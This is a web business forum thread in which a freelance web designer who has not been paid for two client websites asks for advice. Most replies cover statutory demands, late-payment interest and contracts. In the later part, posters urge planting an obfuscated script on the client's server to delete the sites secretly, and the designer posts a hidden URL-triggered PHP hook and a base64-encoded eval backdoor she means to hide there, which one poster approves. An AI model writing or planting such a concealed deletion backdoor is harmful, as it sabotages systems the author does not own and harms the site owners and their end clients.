Reduced to tears, working for what.

[Josaphine]

I'm a web designer/producer; currently a sole trader having worked in this area for over 10 years, with most of my jobs coming from word of mouth.

Last year a new client (introduced from a 'friend') gave me most of my work in 2008. They are marketing company that have been trading for a number of years for major clients. Their company is split into a number of sub companies to cover all aspects of their work ie: companyname-pr, companyname-marketing, companyname-media, etc. Previously they subcontracted other agencies to perform their digital (website) work. I was contacted by them at an early stage of them creating their own in house digital team. They would create the initial design/ad campaigns and then get me to create/develop the website design. For this i charged a very reasonable fee per project.

Over an 8 month period i created in the region of 11 web designs including their own company website. Their clients were always very happy with my designs upon first draft; and any amends they requested i would make without additional charge.

On one occasion they sent me their internal project brief (by mistake) and it included their costings. From this it was clear my fee was far below their costings. The 'friend' (when on a visit to discuss new projects) gloated about how much money the company had made (mentioned over a million pounds in the first year still with another few months to go!). Also how she was to get a 10% share bonus etc etc.

They had 2 more projects they wanted me to create. Both projects had very short deadlines but although this meant considerable workloads and outsourcing, also mean I would be paid more in a shorter amount of time.

Project1 was actually a site for the boss of the umbrella company to market his own assets. This project was completed and looks/works great. It has launched and currently live. invoiced: 4k

Project2 was to design and build a site to show the entire product range of a major company about to launch in the uk. The initial brief was not fully detailed but was clearly to create a site to present the product range and company info in time for the uk launch. In the process of producing the site, the initial product range was changed and expanded upon. This involved additional work on the design and code, I did not add any additional costs for this.

A section of the initial site plan was for 'product extras', the details where not provided and was told this should be left out for the launch.
The content provided was erratic and I had to spend a lot of time organizing and structuring it. Some minor parts of the site were combined. Eg about us and history. This made sense due to the content provided, navigation structure and launch date. The main part/goal of the project was
to show the product range and have calls to action to buy, contact, download, register etc in time for the launch. I worked day and night for a
number of weeks/months. The last few nights i did not sleep in order to meet the deadlines. Additional coding features where requested and supplied for the launch (no extra cost). I paid for all custom code requests to be made in order for project & deadline to be met. A number of requests where made, I made the amends (no extra cost). The site worked/looked great, was launched a day before the product launch and is still live. I was informed that this was initially only meant to be a temporary site but they where so happy with it they intend/are using as the main site.

So; i invoiced for the 2 jobs, with a note explaining any outstanding requests. These being requests i consider to be beyond the initial brief
and also with an understanding that i added a number of features and requests not in the initial brief.
I was told (by the boss) I would be paid in full at the end of December.
I was not paid anything; just told the company is having major cash flow issues and the accounts department have said they can pay nothing at the moment,
I was told i would be told at the end of next week a date when i could expect a payment schedule.
I have been told Project2 is not complete as not all requests have been completed and so i cannot invoice.
I have been told they can only pay me an initial 1k for project1 and will have an idea of a payment schedule at the end of the month.

I have been on the brink of insanity working to get these jobs completed. I have paid out around 3.5k and owe another 1.5k for
outsourcing coding work on these projects.
I have invoiced them over 10k for the completed work. I am currently in arrears with my rent, overdrawn to the maximum on all my credit cards and bank account & received debt warning letters

Researching my position it seems i should make a statutory demand. I am concerned that they will bull**** their way out of this. Claiming they have agreed payments schedules for project1 and that project2 is not complete.

I have agreed nothing but told them my position. regarding the 1k, i told them this doesnt scratch the surface but need any money they can give me. They said they would pay this last friday by BACs, nothing has been paid. They also say the invoices are not actually required to be paid for until the end of the January as they where submitted on the 2nd december 2008 and so 30 days later is the 3rd jan, and they only pay at the end of the month. I am concerned they will wrap up the company and after they have all taken their bonuses and gone on holiday I shall be left in the ****.

This is really make or break for me, I find it disgusting that companies can be closed leaving people without being paid whilst the owners have withdrawn all the profits and can just set up under a new name.

Any help appreciated. Note any details/names/amounts given are used as examples but are similar to my position.

Thankyou for your time. I just want to get paid for the work i have done and paid others to do.

ps - I know there are better ways of working, requesting money up front, detailed briefs/contracts etc. I appreciate this and will make
changes to my working practice, but for now; unless i can recoup these payments I am ready to call it a day.

 

[Cornish Steve]

Hi Josaphine, and sorry to learn of your situation.

In your narrative, several things are not relevant to the situation. You may feel bad about them (such as charging too little for the work and underestimating the amount of effort required), but they really don't matter legally. All that matters is the wording of the contract you have for these latter two projects. What does the contract say about late payment? Do they pay a penalty? What recourse do you have? The wording of your contract is crucial.

 

[Cromulent]

How about sending a final notice and giving them say 14 days to pay and if they don't call in the bailiffs? I'm sure if some heavies turn up at their place of work and start demanding to take computers etc to pay the outstanding debt you will get your money pretty quickly.

I'm not a lawyer though so legal advice is crucial for this.

 

[FE]

Josaphine that is a sad story and wish you the best of luck as unsure on the laglities of who owns the code to your websites etc if you have not been paid. I am sure others who also work in that field will be able to give more accurate advice.

All i can say is does your T&C's state you can charge late payment interest? if so will write and advise that they are now applicable etc and threaten with legal action

Best of luck

FE

 

[Josaphine]

Hi Josaphine, and sorry to learn of your situation.

In your narrative, several things are not relevant to the situation. You may feel bad about them (such as charging too little for the work and underestimating the amount of effort required), but they really don't matter legally. All that matters is the wording of the contract you have for these latter two projects. What does the contract say about late payment? Do they pay a penalty? What recourse do you have? The wording of your contract is crucial.

I did waffle on, guess this is also an outlet for me to vent. I only mentioned details about them gloating about their profits as 2 months ago they said they have profits of over 1million and how they are getting 100k end of year bonus, whilst after i complete the work they say they have nothing.
There was no actual contract, i have never had a contract for any of the jobs.
I receive an initial brief, then agree budget and get sent a purchase order. Upon completion i submit invoice and get paid.

 

[Dawg]

If there is no contract it would be best to see a lawyer on Monday morning. (The first meeting should be free). This will be a complex problem which will have to be treated carefully. It would be unwise to follow advice given on a forum by people who are a) not aware of all the facts, b) not aware of the law, and c) think going in with heavies will be of advantage to you.

That said, it might be an idea to draw up a plan to inform your creditors of the situation, hopefully gaining a bit of breathing room. Don't however inform them until absolutely necessary as it may scare them: just have a plan ready.

Good luck.

 

[Josaphine]

If there is no contract it would be best to see a lawyer on Monday morning. (The first meeting should be free). This will be a complex problem which will have to be treated carefully. It would be unwise to follow advice given on a forum by people who are a) not aware of all the facts, b) not aware of the law, and c) think going in with heavies will be of advantage to you.

That said, it might be an idea to draw up a plan to inform your creditors of the situation, hopefully gaining a bit of breathing room. Don't however inform them until absolutely necessary as it may scare them: just have a plan ready.

Good luck.

I've spoken to a lawyer who says to issue a statutory demand asap as it sounds like they are wrapping up. Also that when ever i speak to the company regarding payments they postpone any payments or schedules.
I already told the company of the financial position I am in and that unless paid i will have to take action. also said i could accept payment for project1 and discuss schedules etc for project2 along with any gripes they have about any requests they still want doing. THe site is launched and their client has paid them, surly i am justified to ask for payment for work done before taking on putting any more time into the site.
They are picking at hairs to put off making any payments. I cannot afford to wait another month to hear any more excuses. I just want to be paid for the work i have done and they are using.

 

[ServWise]

I did waffle on, guess this is also an outlet for me to vent. I only mentioned details about them gloating about their profits as 2 months ago they said they have profits of over 1million and how they are getting 100k end of year bonus, whilst after i complete the work they say they have nothing.
There was no actual contract, i have never had a contract for any of the jobs.
I receive an initial brief, then agree budget and get sent a purchase order. Upon completion i submit invoice and get paid.

No offence but you must be mad. You should ALWAYS have a contract of some kind and you should ALWAYS charge up-front for any work (deposit and staged payments) and never do speculative work.

It sounds to me that a number of your projects were for other companies not owned by the company employing you. I'm assuming your working for a web design agency? If everything does go tits up (which sounds likely) you could consider contacting the company that the site was actually for and explaining the situation (Don't ask them to pay you, that is not acceptable) however you could offer your services at a considerably lower rate than the agency they have been dealing with. Basically see if you can poach them for future work.

As for getting your money well I'm afraid I think you have just learnt one of the hardest lesson you can in this business, hopefully it will make you more careful in future. You might consider taking them to the small claims court and I would certainly send them a strong letter and maybe use one of the many debt collection agencies that will write you a strong letter that may scare them into paying.

I wish you the best.

Sam M
Professional web design and development
www.wiredeyes.com

 

[SLF]

at least where no contract exists, the law applies anyway. You must have emails etc as written proof of requests and an email or letter confirming your price for the exact work they requested. This is your evidence. The websites are also evidence of what you did produce. You also as far as I am aware, the copyright owner of the source code. You have bought and paid for it from your suppliers now until you are paid for the work they owe you it. They cannot cancel or return bespoke work so they will have to cough up. Unless your friends was lying, they arent going bust anytime soon but are stalling you for a reason.

You could go to the end users and explain to them you are the owner of the code and they do not have your permission to use it until your cusotmer has paid you. Please, also remember, they are not your boss as you are self employed.

 

[Josaphine]

How about sending a final notice and giving them say 14 days to pay and if they don't call in the bailiffs? I'm sure if some heavies turn up at their place of work and start demanding to take computers etc to pay the outstanding debt you will get your money pretty quickly.

I'm not a lawyer though so legal advice is crucial for this.

i could delete the website but have been told this would be liable to them suing me? as an act a malice.
I would happily visit them with a hammer and express my anger but id be end up arrested.

 

[Cromulent]

i could delete the website but have been told this would be liable to them suing me? as an act a malice.
I would happily visit them with a hammer and express my anger but id be end up arrested.

Heh . I'm not sure taking my advice would be the best way to go in this instance. Obviously if it really comes down to it bailiffs do a job for a reason, but you might get somewhere quicker if you speak to a lawyer and enact whatever he recommends immediately.

At the end of the day you did a job for the company and deserve to be paid.

 

[Josaphine]

at least where no contract exists, the law applies anyway. You must have emails etc as written proof of requests and an email or letter confirming your price for the exact work they requested. This is your evidence. The websites are also evidence of what you did produce. You also as far as I am aware, the copyright owner of the source code. You have bought and paid for it from your suppliers now until you are paid for the work they owe you it. They cannot cancel or return bespoke work so they will have to cough up. Unless your friends was lying, they arn't going bust anytime soon but are stalling you for a reason.

You could go to the end users and explain to them you are the owner of the code and they do not have your permission to use it until your customer has paid you. Please, also remember, they are not your boss as you are self employed.

I have all emails and attachments: initial brief, official purchase orders with job numbers. Email from boss saying great work, email from boss saying i will be paid at the end of December.

it is my 'friend' saying how much money they made (the new helicopter seems to back this up), it is the company they are saying does not currently have the funds to pay. ie all the money has been paid to the shareholders or something and the company left owing money. They say the company is currently owed a lot of money, this is after they have had their bonuses. THey also told me they had a new contract circa 600k.
I cannot affored to wait another month to find out they have shut down/ winded up, liquidated or whatever.
If i should take action in a month, i should make it now. If they are going to pay me they should pay me. - It is a good idea about contacting the end user,
i was considering just taking the sites down, but they are housed on the clients machines, i have been told i could be charged as malice. I would happily contact the end user. I was told to isue a statutory demand.
One of the end users is the boss of the umbrella company that is my customer.

I dont know why they are stalling me other then if the company has become in debt they will close it down in as profitable a way to themselves as possible. If they closed it down now they would be in personal huge profits.

 

[ServWise]

If you have access to the web space and don't feel like just killing the site now (although i suspect you have every write to do that) at least make it so that they can't block you from bringing it down later. If the space is not yours then create a script that can be run from the web that will allow you to delete all the files on the webs space, upload it now and see how things go. (best to obfuscate the code so they can't track down how the files are being deleted) At least then you have some sort of come back if everything goes tits up..

 

[Josaphine]

No offence but you must be mad. You should ALWAYS have a contract of some kind and you should ALWAYS charge up-front for any work (deposit and staged payments) and never do speculative work.

It sounds to me that a number of your projects were for other companies not owned by the company employing you. I'm assuming your working for a web design agency? If everything does go tits up (which sounds likely) you could consider contacting the company that the site was actually for and explaining the situation (Don't ask them to pay you, that is not acceptable) however you could offer your services at a considerably lower rate than the agency they have been dealing with. Basically see if you can poach them for future work.

As for getting your money well I'm afraid I think you have just learnt one of the hardest lesson you can in this business, hopefully it will make you more careful in future. You might consider taking them to the small claims court and I would certainly send them a strong letter and maybe use one of the many debt collection agencies that will write you a strong letter that may scare them into paying.

I wish you the best.

Sam M

I assumed a purchase order and brief combined with email/verbal agreement would be enough. I have worked on jobs in the past with full contracts and still had late paying bull**** / companies going bankrupt etc. I am not mad i am furious. The legal system is mad, it is not based on justice but on big business/money and benefits those that have the most.

 

[Josaphine]

If you have access to the web space and don't feel like just killing the site now (although i suspect you have every write to do that) at least make it so that they can't block you from bringing it down later. If the space is not yours then create a script that can be run from the web that will allow you to delete all the files on the webs space, upload it now and see how things go. (best to obfuscate the code so they can't track down how the files are being deleted) At least then you have some sort of come back if everything goes tits up..

I WANT TO DO THIS! -
I do not know how, (obfuscate the code or create a deletion script).
is this a resource you could direct me to)
i have no intention of causing malice, i just want to be paid, i feel if they lock me out the site it is the same as stealing my code/designs and i have no bargaining power. Your time most appreciated!!!!

 

[Chippie]

All i can say is does your T&C's state you can charge late payment interest? if so will write and advise that they are now applicable etc and threaten with legal action

FE, it is irrelevant whther this is stated in the T&C's, as charging interest and a fine for late payment of invoices is a statutory right under the late payment regulations and can be imposed once an invoice remains unpaid for more than 30 days after the invoice date. If you want to be really hard nosed just send an amended invoice, there's no need even to warn them. Not ideal, I know, but drastic situations call for drastic measures and all that!

 

[zoezoe]

I WANT TO DO THIS! -
I do not know how, (obfuscate the code or create a deletion script).
is this a resource you could direct me to)
i have no intention of causing malice, i just want to be paid, i feel if they lock me out the site it is the same as stealing my code/designs and i have no bargaining power. Your time most appreciated!!!!

I think that if they have not paid then they are not entitled to the code...i presume that you are not hosting this?

do you have a clopy of teh old website? if so just put the old opne back and remove the new. this is not malice as the old was perfectly good until they decided to steel a new one fromn you !!

 

[Cornish Steve]

The legal system is mad, it is not based on justice but on big business/money and benefits those that have the most.

The law assumes you have a contract in place, and that's the main lesson learned here. No matter who you're working for, make sure you have a signed contract in place before starting work. You just never know what might happen.

The other lessons learned are that:

- You are probably under-charging for your work.
- You should plan some contingency into every development estimate.

I can sense the frustration, and you must feel very sore because of the bonuses given to company employees. In the end, though, you should try to put your emotions aside and look at the situation objectively. From a contractual standpoint, their bonuses don't matter.

 

[Chippie]

If you have access to the web space and don't feel like just killing the site now (although i suspect you have every write to do that) at least make it so that they can't block you from bringing it down later. If the space is not yours then create a script that can be run from the web that will allow you to delete all the files on the webs space, upload it now and see how things go. (best to obfuscate the code so they can't track down how the files are being deleted) At least then you have some sort of come back if everything goes tits up..

Fight fire with fire, I like that!

 

[zoezoe]

The law assumes you have a contract in place, and that's the main lesson learned here. No matter who you're working for, make sure you have a signed contract in place before starting work. You just never know what might happen.

The other lessons learned are that:

- You are probably under-charging for your work.
- You should plan some contingency into every development estimate.

I can sense the frustration, and you must feel very sore because of the bonuses given to company employees. In the end, though, you should try to put your emotions aside and look at the situation objectively. From a contractual standpoint, their bonuses don't matter.

having a contact makes it easier to proove in court what was agreed but emails and calls etc will all styand up in court also.

it is easy to get carried away trying to make your main customer happy and it does carry risks...

 

[Josaphine]

FE, it is irrelevant whther this is stated in the T&C's, as charging interest and a fine for late payment of invoices is a statutory right under the late payment regulations and can be imposed once an invoice remains unpaid for more than 30 days after the invoice date. If you want to be really hard nosed just send an amended invoice, there's no need even to warn them. Not ideal, I know, but drastic situations call for drastic measures and all that!

2 invoices:
4k & 7k
the 7k job they are now saying the site is not complete as there are some features requested that are not built into the site. Say i cant invoice untill complete.
The boss previously said he would pay me at the end of december for this site after i explained any missing features were due to the lack of content supplied and their request to leave out for the launch.

 

[Josaphine]

The law assumes you have a contract in place, and that's the main lesson learned here. No matter who you're working for, make sure you have a signed contract in place before starting work. You just never know what might happen.

The other lessons learned are that:

- You are probably under-charging for your work.
- You should plan some contingency into every development estimate.

I can sense the frustration, and you must feel very sore because of the bonuses given to company employees. In the end, though, you should try to put your emotions aside and look at the situation objectively. From a contractual standpoint, their bonuses don't matter.

objectively: i just want to be paid for the work I have completed and paid others to complete. I have no interest in their bonus or how much money they are making, but knowing how much money they have paid themselves whilst they owe me 10k & are telling me they have no money or means to pay concerns me, on top of the fact that one of the sites is for their bosses folly.

 

[Cornish Steve]

it is easy to get carried away trying to make your main customer happy and it does carry risks...

Indeed, that reminds me of another important lesson: Don't put all your eggs in one basket. Ensure you have more than one main customer. Easier said than done, of course, and it won't help poor Josaphine now.

 

[rhaaw@]

This is a really frustrating story, sorry I can't offer you any useful advise but I can join you in mutual hate of money grabbers who care about no one.

Hopefully they will shot themselves in the foot too many times and fall.
​

Good luck with getting it sorted!

 

[JEREMY HAWKE]

You may also want to consider going Limited to protect your personal assets in the future .I know people dont like to hear this but its not a case of stitching people up ...You risk everything to run and build your business alot of the time in reality your only looking after everybody else ..So protect yourself because if Woolworths cant get it right how are the rest of us supposed to crack it !!!

 

[edbk1203]

Josaphine

Like you (with my web-development hat on at least - as it's not the only thing I do), I'm self employed...

I myself have been in a similar position as you are in now.

After being messed around for almost two months and with no sign of payment arriving, I contacted the company in question and told them that if they didn't pay me within 7 days, I'd contact the end client directly, explain the situation and ask them to pay me instead - I also advised that if I wasn't paid by either party, I'd terminate the hosting of the website (almost all of my projects are hosted on my own server(s) so I have that privilege) until such time that payment was received.

It worked for me as rather than have me contact their client directly, and presumably have the embarrassment that would go with that, they chose to settle up completely... incidentally, despite this "bump" in the working relationship with them, I still fairly regularly do business for the same client.

Someone else in this conversation thread has suggested that this method would be unacceptable - I'm not quite sure why because as other people have pointed out, the source code belongs to you until you have been paid for it so you're well within you rights to prevent other people from using that source code - however all I can say is that I used (the threat of at least) this method and it worked for me - there is of course no guarantee that it will work for you.


Since then however, once I've consulted with a client about their requirements, I'll send as detailed an email/document as I possibly can, surmising:

• The site/project will be developed on my own test/development server.
• What I believe will be all of my obligations as part of the project
• What I view as the obligations of the client
• Confirmation of the date on which we both agreed it would be completed for
• What total costs I will charge the client (including full individual breakdown)?
• What I will be liable for, both during development and afterwards
• What I won't be liable for during and after development
• What support/maintenance I will provide once the project is complete - usually free for a period of time (depending on the requirements) after which my time becomes chargeable again - and I specify in advance what the rates/terms will be
• What future costs will apply (hosting/licensing/renewals etc as applicable)
• What payment terms I will apply.
  • At the very least, 30% of the overall anticipated costs is charged upfront and work doesn't start until that 30% has been received - that 30% is also non-refundable once I start work.
  • including... possibly most importantly... that the site/project only goes live/is handed over once FULL payment has been received - NO exceptions.
• I also include a statement saying that if we get to the date we agreed it would be completed by and it's not complete:
  • If it's my fault (E.g I'm behind schedule), I'll credit the customer account with £X for each day that I overrun
  • If it's my client's fault (E.g. I'm waiting for them to provide additional content, a daily fee of £X will be charged - normally the amount charged to the customer is 50% of what I say I'll credit them back if the delay is my fault)

The client has to confirm their acceptance of all of this (or we discuss and send it back and to until a mutually acceptable version is arrived at) BEFORE anything whatsoever happens.

I find it works perfectly well for me and would strongly suggest you do something similar in the future either by way of a formal "contract" or by email as I do it....

 

[Deleted member 27344]

There was no actual contract, i have never had a contract for any of the jobs.

... I spent 5 mins looking for that line and there it is.

First lesson in business - Always get a contract.

 

[Josaphine]

... I spent 5 mins looking for that line and there it is.

First lesson in business - Always get a contract.

I've had contracts before and jobs have turned ugly. as in finished the work; companies not paid/gone bankrupt and left me in ****.
I believe limited companies should be forced to have the top directors personally liable for the company debts. Why should they take the cream off the top, piss off and leave the washing up for those that cooked for them.

 

[Deleted member 27344]

Because that's how UK law works.
The minions do the work while the fat bosses cream the big life.

 

[Josaphine]

Thanks for everyones input, heres my decision:
*I want to add some hidden code so that if they do not pay i can terminate the site (its not on my server but i currently have ftp access). If anyone can point to a resource for this code it would be appreciated.
*I will issue a statutory demand.
*If they talk their way out of paying I will then go to the end users and explain that their sites were designed/built by me and as they have not been paid for I will close them unless i am paid.
*If above steps do not work I will make a big A frame board stating ( 'COMPANY NAME' STOLE MY WORK & OWES ME 10K - ON HUNGER STRIKE UNTIL PAID) place it outside their office and sit there in a sleeping bag every day until they pay.

I think using these steps I should expect to be paid for the work I have done.

 

[maxine]

Feel sorry for you Josaphine and know how it feels as we have had a major customer of ours drop us in it by going bust over the Xmas period leaving us high and dry as far as cash goes. There is nothing more we can do apart from put our debt claim in and try and recover from this asap with other work.

Dawg is right in that it is difficult for forum members to give advice without knowing all the ins and outs so prob best to see a lawyer but it does sound like you have a valid contract in place to be able to take them to court for non payment of project 1 ie; offer, acceptance and consideration etc.

The thing a contract will help with in future (over and above what you do at the moment with a brief, and purchase order) is to provide for how disputes will be handled, charges for part completed work will be made, charges for late payment (if different to statutory), and steps you may take with regard to taking the site down or contacting end users. It might give a bit more formality from the outset and make people aware of what you will do if payments not made on time so that when payments to suppliers are being planned/juggled, you will hopefully be higher up the list than other suppliers

The other thing is that when you have a brief with a purchase order basically the PO is like them having the final word on what the contract is and sometimes these might be in line with their trading terms and conditions which might have clauses in there that you wouldn't necessarily agree with.

It might be that they are a profitable company (on paper) but actually have cashflow problems if some of their clients haven't paid them on time. Have you done a credit check on them?

You could issue a Stat Demand but this will cost you more money over and above what you are already owed when it might be better to pay your own priority committments first such as rent. I would recommend that if you have a threat that you can levy such as contacting the end customer that that might get a better reaction at this stage. Have you tried explaining what this means in terms of an impact to you personally as possibly the guilt card might help if they are prioritising payments out at the end of January.

As for project 2 I would suggest that you would be perfectly entitled to put future work on "credit stop" until you have received payment for your first invoice. If you don't get paid for your first invoice then submit a pro-rata invoice for project 2 for the work done in line with the brief and PO.

It might also be that you need to speak to someone different in the organisation - such as the finance director if their is one but certainly one of the directors and really push for an immediate payment of something rather than wait for the whole amount of the first invoice by end of the month.

Someone also mentioned earlier about your pricing and maybe it is too low. I dont know if thats the case or not but it might be a good idea to increase your prices a bit so as you can put some money aside to cover the cost of future bad debts and recovery fees.

All the best and hope you get paid soon

 

[Josaphine]

... prob best to see a lawyer but it does sound like you have a valid contract in place to be able to take them to court for non payment of project 1 ie; offer, acceptance and consideration etc.


...The other thing is that when you have a brief with a purchase order basically the PO is like them having the final word on what the contract is and sometimes these might be in line with their trading terms and conditions which might have clauses in there that you wouldn't necessarily agree with.

It might be that they are a profitable company (on paper) but actually have cashflow problems if some of their clients haven't paid them on time. Have you done a credit check on them?

You could issue a Stat Demand but this will cost you more money over and above what you are already owed when it might be better to pay your own priority committments first such as rent. I would recommend that if you have a threat that you can levy such as contacting the end customer that that might get a better reaction at this stage. Have you tried explaining what this means in terms of an impact to you personally as possibly the guilt card might help if they are prioritising payments out at the end of January.

As for project 2 I would suggest that you would be perfectly entitled to put future work on "credit stop" until you have received payment for your first invoice. If you don't get paid for your first invoice then submit a pro-rata invoice for project 2 for the work done in line with the brief and PO.

It might also be that you need to speak to someone different in the organisation - such as the finance director if their is one but certainly one of the directors and really push for an immediate payment of something rather than wait for the whole amount of the first invoice by end of the month.

Someone also mentioned earlier about your pricing and maybe it is too low. I dont know if thats the case or not but it might be a good idea to increase your prices a bit so as you can put some money aside to cover the cost of future bad debts and recovery fees.

All the best and hope you get paid soon

Hi thanks for the response.
I have spoken to the main director and the project manager. The credit controller is no good for anything, they see their job as to not pay anything until they have to (are told to by the boss), I explained to them all how i've already spent out 4k on my credit cards to get the jobs completed and that i owe rent and have bailiff warnings.
It had no effect.

in terms of project2 being unfinished this is nonsense, the site launched and everyone said it was excellent, the client loved it. They also said it was initially only going to be a temporary site for the launch but they like it so much they say they'll continue to use it as the main site. The company has been paid by end client for temporary and main site development.
I was told by the company boss that i would be paid at the end of December, it is only now that they are talking about how it is unfinished.
I think i should just issue the statutory demand for full payment of project 1 & 2 and not take any nonsense from them. They have been paid for the jobs I have done and a huge margin more on top of what i have invoiced for, it's not my fault if they have someone else not pay them.

All the legal ins and outs should not over ride the fact that I worked non stop for 2 months for them, my work is currently being used and I have not been paid whilst they all have. They have the funds but are up to some back handed method of covering their backs. I will not and cannot affored to let this go.

Surly any court would see the clear logic of my plight. Then again i imagine the courts are as much about justice as businesses are about integrity.

 

[Josaphine]

could anybody direct me to some code i could upload & hide; so in future if they do not pay me i could log in and amend the .htaccess page or delete files etc.
the simpler the better. i currently have ftp access but could be cut off any day...

perhaps some kind of hidden javascript or cgi script i could run that would generate a file or delete files.

 

[edbk1203]

could anybody direct me to some code i could upload & hide; so in future if they do not pay me i could log in and amend the .htaccess page or delete files etc.
the simpler the better. i currently have ftp access but could be cut off any day...

perhaps some kind of hidden javascript or cgi script i could run that would generate a file or delete files.

Are the websites written in ASP / PHP ?

Hosted on a Windows or Linux server?

 

[Josaphine]

Are the websites written in ASP / PHP ?

Hosted on a Windows or Linux server?

html & php, some sections in jooma & some cgi files.
Pretty sure its on linux.

Have uploaded some php file management scripts, i also found a site that can encrypt these files into 1 line of 'gobbldygook' but still can be run ok.
I was told i could do something like adding in the following code into one of the actual php pages so it is more hidden within the site this is the bit of code mentioned:

if(isset($_GET['bk']))
myfunction();

Then i was told to write myfunction() which will do some the action required. Then to call this file by writing full address http ://mysite.com/myfile.php?bk=1.
........
My encrypted file management script ends up looking something like this:

<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQovKiBYUVRPIEY0bDUgTTFuMWc1ciBhLjANCioNCipDMnB5cjRnaHQgKEMp
IGEwMDYgWFFUTy5jMm0gQWxsIHI0Z2h0cyByNXM1cnY1ZC4NCipXNWIgUzR0NTogaHR0cDovL3d3dy54cXQyLmMybQ0KKg0K
IDJwdDQybikgMW55IGwxdDVyIHY1cnMjNuZCgkbTF4ZjRsNXM0ejUvNjAwMCk7IC8JyZy82OTk5L3hodG1sIj4NCjxoNTFkPg0KPG01dDEgaHR0cC01cTM0dj0iQzJudDVudC1UeXA1IiBjMm50NW50PSJ0NXh0L2h0bWw7IGNoMXJzNXQ9N
HMyLTg4aTktNiIgLz4NCjx0NHRsNT48P3BocCA1Y2gyICRoNTFkNG5nPz48L3Q0dGw1Pg0KPGw0bmsgaHI1Zj0ic3R5bDVzLmNzcyIgcjVsPSJzdHlsNXNoNTV0IiB0eXA1PSJ0NXh
0L2NzcyIgLz4NCjxiMmR5IGJnYzJsMnI9IiNGRkZGRkYiPg0KPD9waHAgNWNoMiAkZjRsNW0xbjFnNXI/Pg0KPC9iMmR5Pg0KPC9odG1sPg0K';eval(base64_decode('JF9YPWJ
hc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfW
Ck7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>


If i could combine this into the legitamate php pages and be able to run it along the lines of http ://mysite.com/myfile.php?bk=1. It would be great.
I dont really do php myself so am unsure how to combine it all.

 

[Dawg]

This is getting silly. If you ruck up their site/the sites and it comes to light you did it deliberately you will lose the battle. They will wait for you to take them to court and the courts will take a very dim view of your behaviour. You will lose money.
I understand that you are angry and hurting badly. But you really have to do this properly, and approach it professionally. You didn't have a contract; a mistake but not the end of the world. They are pratting around; their mistake. Get decent advice and act on it as fast as possible. The revenge stuff is teenage and a loser, and a bit discouraging to the people here who have bothered to give advice and who are on your side.
Do it properly, getting strength from the old saying: "revenge is a dish best eaten cold". Good luck.

 

[ServWise]

if(isset($_GET['bk']))
myfunction();

All you are doing above is calling the function "myfunction" if the url has a bk value assigned to it e.g www.url.com?bk=1

So assuming that myfunction is a php function in the obfuscated code that deletes all the files in the space then that sounds perfect.

 

[edbk1203]

Unfortunately I can't help you on the PHP side of things... I'm an ASP man myself - people keep telling me that to learn PHP is far easier than ASP but I keep trying and no matter how many times I try I just don't get it.

However, I digress...

In the meantime... I've thought of a possible flaw in your plan to plant such a script and delete the files from the server...

My own servers for example are periodically automatically backed-up to a server in a completely different city... for the sake of example lets assume this takes place every 24 hours...

If it was my server you were looking to run such a script on, you may well succeed in removing the site... I'd get contacted by the end-client asking why their site is down... I'd look and see that the site has mysteriously disappeared... I'd transfer the contents of the site from the backup server (albeit up to 23hours and 59 second old by that point) to the primary server and have it up and running again in no time... I'd then go checking the logs to see who/what/where/when/why the site went down etc

Sure enough, you *could* do it again whilst I'm investigating, and I'd have to repeat the process of getting the site back up again etc...

What I mean is, if they're not backing up the server at all, your "code" could well have a major impact on them, but if they are backing up the server your code is likely to only cause a temporary inconvenience... but... this could in itself be "enough".

Just thought I'd let you know what occurred to me.

 

[edbk1203]

This is getting silly. If you ruck up their site/the sites and it comes to light you did it deliberately you will lose the battle. They will wait for you to take them to court and the courts will take a very dim view of your behaviour. You will lose money.
I understand that you are angry and hurting badly. But you really have to do this properly, and approach it professionally. You didn't have a contract; a mistake but not the end of the world. They are pratting around; their mistake. Get decent advice and act on it as fast as possible. The revenge stuff is teenage and a loser, and a bit discouraging to the people here who have bothered to give advice and who are on your side.
Do it properly, getting strength from the old saying: "revenge is a dish best eaten cold". Good luck.

If the site was taken down without warning I agree it's a little childish, could be frowned upon (possibly as a minimum) legally and so on...

However, personally, I'd plant this code, send a demand for payment in so many days and in the "If payment is not received..." bit of the demand for payment, I'd include (along with the threat of legal action and/or contacting the end-client directly) a note that I reserve the right to terminate the website on the server... then if they do disable my FTP access, the planted code still gives me that privilege - of which they've had advanced notice of and more importantly the ability to prevent...

It may be "revenge", but done (in my humble opinion) in a proper and professional manner.

If I supply a service to a client that is to be provided over, say, a 6 month period, is to be paid monthly, and for example the client doesn't pay me for month 3 on time, they'll get a letter stating that they're account is overdue, they must clear the overdue balance in X amount of days, and if they fail to do so the remaining provision of that service will be terminated...

I don't see this as being any different... she provided a service which they are using, they are refusing to pay for that service, she has the right to terminate their use of that service.

 

[Josaphine]

This is getting silly. If you ruck up their site/the sites and it comes to light you did it deliberately you will lose the battle. They will wait for you to take them to court and the courts will take a very dim view of your behaviour. You will lose money.
I understand that you are angry and hurting badly. But you really have to do this properly, and approach it professionally. You didn't have a contract; a mistake but not the end of the world. They are pratting around; their mistake. Get decent advice and act on it as fast as possible. The revenge stuff is teenage and a loser, and a bit discouraging to the people here who have bothered to give advice and who are on your side.
Do it properly, getting strength from the old saying: "revenge is a dish best eaten cold". Good luck.

I do appreciate all the advice, and am following the recommended action.
I am not seeking any revenge just want to do everything i can in a professional manner in order to be paid for my work. However, if the company do go bankrupt; having some form of access to the sites could only be beneficial to my situation.
I will again call the main boss, request immediate payment. If they flannel me about I will issue a statutory demand. If they still do not pay I will contact the end user and say they are using unpaid for code and unless paid i will take action. If i do not receive payment or a i will delete the site.

They have been paid for the work i have done. BUt the funds used to pay their christmas bonuses. Now their company is in debt they are planning on closing it. THen on the phone they tell me they are in the same situation as me. No, I have no money and am the verge of being issued with bailiff action. Whilst they have made a fortune and are just closing down one of their companies.
contract or no contract, they need to pay me or I have to take action.
I have always acted with integrity and honesty, unfortunatly it seems business empowers those that do not.